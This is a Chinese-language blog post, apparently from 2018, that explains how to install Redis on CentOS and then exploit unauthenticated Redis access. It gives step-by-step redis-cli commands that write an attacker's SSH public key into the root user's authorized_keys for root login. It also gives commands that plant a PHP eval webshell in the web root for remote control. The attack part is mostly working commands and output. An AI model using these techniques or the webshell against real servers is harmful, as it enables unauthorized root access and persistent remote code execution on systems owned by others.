Redis 未授权访问(反弹shell)

2018-12-11  本文已影响0人  鸡翅儿

Redis安装

环境:Centos 7

  1. wget 获取 redis 安装包

[ root@test ]# wget http://download.redis.io/releases/redis-4.0.8.tar.gz

  1. 解压

[ root@test ]# tar -zxvf redis-4.0.8.tar.gz

  1. yum安装gcc依赖

[ root@test ]# yum install gcc

  1. 编译

[ root@test redis-4.0.6 ]# make MALLOC=libc

  1. 将/redis-4.0.6/src目录下的文件加到/usr/local/bin目录

[ root@test redis-4.0.6 ]# cd src && make install

  1. 启动

[ root@test src ]# ./redis-server

如图即成功启动


图片.png

反弹 shell 方法

1.通过写SSH-KEY的方式获取shell

利用条件:
redisroot 权限开启
6379 端口开启并允许外部使用
目标服务器支持免密登录

  1. 攻击机本地生成ssh秘钥

[ root@test ]# ssh-keygen -t rsa

  1. 将公钥导出写入txt文件方便利用

[ root@test:~/.ssh ]# (echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") >123.txt

  1. 利用redis-cli进行远程连接

[ root@test ] redis-cli -h 靶机ip

  1. 设置redis工作路径、文件、写入公钥并保存

靶机ip:6379> config set dir /root/.ssh/
OK
靶机ip:6379> config get dir
"dir"
"/root/.ssh"
靶机ip:6379> config set dbfilename "authorized_keys"
OK
靶机ip:6379> save
OK

  1. 远程连接,利用自己的私钥登录服务器

ssh -i id_rsa root@靶机ip

2. 向Web路径写webshell

利用条件:
知道web目录
具有写入文件的权限

靶机ip:6379> config set dir /var/www/html/
OK
靶机ip:6379> config set dbfilename shell.php
OK
靶机ip:6379> set x "<?php @eval($_POST['wcute']);?>"
OK
靶机ip:6379> save
OK

成功写入后可利用菜刀连接

上一篇下一篇

猜你喜欢

热点阅读